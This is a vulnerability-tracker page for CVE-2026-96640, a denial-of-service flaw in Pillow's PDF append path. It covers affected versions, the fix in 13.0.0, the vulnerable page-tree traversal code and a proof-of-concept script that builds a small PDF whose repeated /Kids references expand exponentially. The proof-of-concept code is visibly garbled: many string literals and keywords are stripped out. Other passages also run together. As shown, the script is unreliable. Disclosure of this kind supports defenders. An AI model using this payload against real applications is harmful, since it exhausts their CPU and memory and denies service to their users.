Live › vulnerability › CVE-2026-96640
Go to dashboardPillow's PDF append path (Image.save with format="PDF" and append=True) walks a malicious PDF page tree where repeated /Kids references expand exponentially, so a 1410-byte PDF can take about 9.6 seconds of CPU. An attacker who can supply an existing PDF to an app that appends to it can cause denial of service through CPU and memory exhaustion.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-23 19:11 UTC, 3h before NVD. All times on this page are UTC.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| Pillow | pypi | >= 5.1.0, < 13.0.0 | 13.0.0 |
pip show pillow and check whether the version is >= 5.1.0 and < 13.0.013.0.0 or laterEach row is the first time that source carried this signal. The analyst’s rows are its own findings.
Pillow's documented PDF append path can spend disproportionate CPU time on a compact malformed PDF page tree.
An attacker who can supply an existing PDF to an application that appends an image with Image.save(..., format="PDF", append=True) can provide a malformed /Pages tree where each level repeats the same child /Pages reference in /Kids. Pillow treats the graph as a tree and expands each repeated reference in PdfParser.linearize_page_tree() without tracking visited or duplicate indirect references.
In the bounded proof below, a 1410-byte PDF expands to 8192 page references from one distinct page object and takes about 9.6 seconds through the append path. A comparable linear control with the same depth stays at one page reference and completes in about 0.02 seconds.
This is in scope for Pillow's security policy because it is reproducible in main, affects the latest public release tested (12.3.0), and is not just an unexpected Python exception. The vulnerable operation accepts attacker-controlled PDF bytes through Pillow's PDF parser and causes deterministic resource consumption before normal completion.
Pillowpip / PyPIsrc/PIL/PdfParser.py page-tree traversal reached from src/PIL/PdfImagePlugin.py PDF append handling12.3.013.0.0.dev0b39b9649312fbc381060e8c7c7f9f0de4cc63daasha256(git archive --format=tar HEAD) = 2ccefca23d432456765be8d3c34564c65ba016b0c9da1e44ca389762f7eda05412.3.0 commit: bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d12.3.0 source artifact hash: sha256(git archive --format=tar 12.3.0) = 94bed33fd20123938dbc0153d295250bb4e3c09251b6d4a34f7595e25d409c815.1.0, 12.2.0, 12.3.0, and HEADEvidence fact strings:
5.0.0 contains src/PIL/PdfImagePlugin.py but does not contain src/PIL/PdfParser.py. PdfParser.py was introduced by 6207b44ab1ff4a91d8ddc7579619876d0bb191a4 (2018-01-18 issue #2959: support appending to existing PDFs), which shipped in 5.1.0.
The reachable path is:
A service or application receives an attacker-influenced existing PDF and appends an image using Pillow's public PDF save path:
Image.new("L", (1, 1), 0).save(existing_pdf_file, format="PDF", append=True)
src/PIL/PdfImagePlugin.py routes append=True to PdfParser:
is_appending = im.encoderinfo.get("append", False)
filename_str = filename.decode() if isinstance(filename, bytes) else filename
if is_appending:
existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode="r+b")
else:
existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode="w+b")
src/PIL/PdfParser.py parses the existing PDF and linearizes the page tree:
self.page_tree_root = self.read_indirect(self.pages_ref)
.pages = .linearize_page_tree(.page_tree_root)
.orig_pages = .pages[:]
The missing invariant is:
The PDF page tree should be treated as an acyclic tree of unique indirect references before Pillow builds pages/orig_pages or rewrites pages.
The proof intentionally uses a malformed PDF page-tree DAG: each /Pages node repeats the same next /Pages child reference twice. Pillow accepts this graph and expands it as if the repeated reference represented distinct subtrees.
Environment used for validation:
3.13.1113.0.0.dev0, commit b39b9649312fbc381060e8c7c7f9f0de4cc63daa12.3.0Save this as poc_pillow_pdf_page_tree_dag.py:
#!/usr/bin/env python3
from __future__ import annotations
import io
import json
import sys
import time
from PIL import Image, PdfParser
import PIL
def make_page_tree_pdf(depth: int, fanout: int) -> bytes:
if fanout not in (1, 2):
raise ValueError("fanout must be 1 or 2")
objects: list[bytes] = [b"<< /Type /Catalog /Pages 2 0 R >>"]
for object_id in range(2, depth + 3):
next_id = object_id + 1
kids = b" ".join(f"{next_id} 0 R".encode("ascii") for _ in range(fanout))
parent = b"" if object_id == 2 else f" /Parent {object_id - 1} 0 R".encode()
objects.append(b"<< /Type /Pages /Kids [ " + kids + b" ]" + parent + b" >>")
objects.append(.encode())
result = ()
offsets = []
object_id, value (objects, start=):
offsets.append((result))
result.extend(.encode())
result.extend(value)
result.extend()
xref_offset = (result)
result.extend(.encode())
result.extend()
offset offsets[:]:
result.extend(.encode())
result.extend(
.encode()
)
(result)
() -> [, ]:
payload = make_page_tree_pdf(depth, fanout)
expected_refs = fanout ** (depth + )
start = time.monotonic()
PdfParser.PdfParser(buf=payload) pdf:
observed_refs = (pdf.pages)
distinct_refs = ((pdf.pages))
parse_seconds = time.monotonic() - start
output = io.BytesIO(payload)
start = time.monotonic()
Image.new(, (, ), ).save(output, =, append=)
append_seconds = time.monotonic() - start
{
: fanout,
: depth,
: (payload),
: expected_refs,
: observed_refs,
: distinct_refs,
: (parse_seconds, ),
: (append_seconds, ),
: (output.getvalue()),
}
() -> :
depth = (sys.argv[]) (sys.argv) >
<= depth <= :
SystemExit()
linear = run_case(depth, fanout=)
shared_dag = run_case(
This page as .md · .json · in your agent: get_signal("CVE-2026-96640")
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.
>= 5.1.0linearize_page_tree() recursively follows every /Kids entry and extends the page list. It does not track page-tree node identity, duplicate references, or active traversal references:
def linearize_page_tree(
self, node: PdfDict | None = None
) -> list[IndirectReference]:
page_node = node if node is not None else self.page_tree_root
check_format_condition(
page_node[b"Type"] == b"Pages", "/Type of page tree node is not /Pages"
)
pages = []
for kid in page_node[b"Kids"]:
kid_object = self.read_indirect(kid)
if kid_object[b"Type"] == b"Page":
pages.append(kid)
else:
pages.extend(self.linearize_page_tree(node=kid_object))
return pages
During append, rewrite_pages() then iterates the expanded orig_pages list and scans/replaces entries in self.pages, adding more cost to the already expanded duplicate-reference list.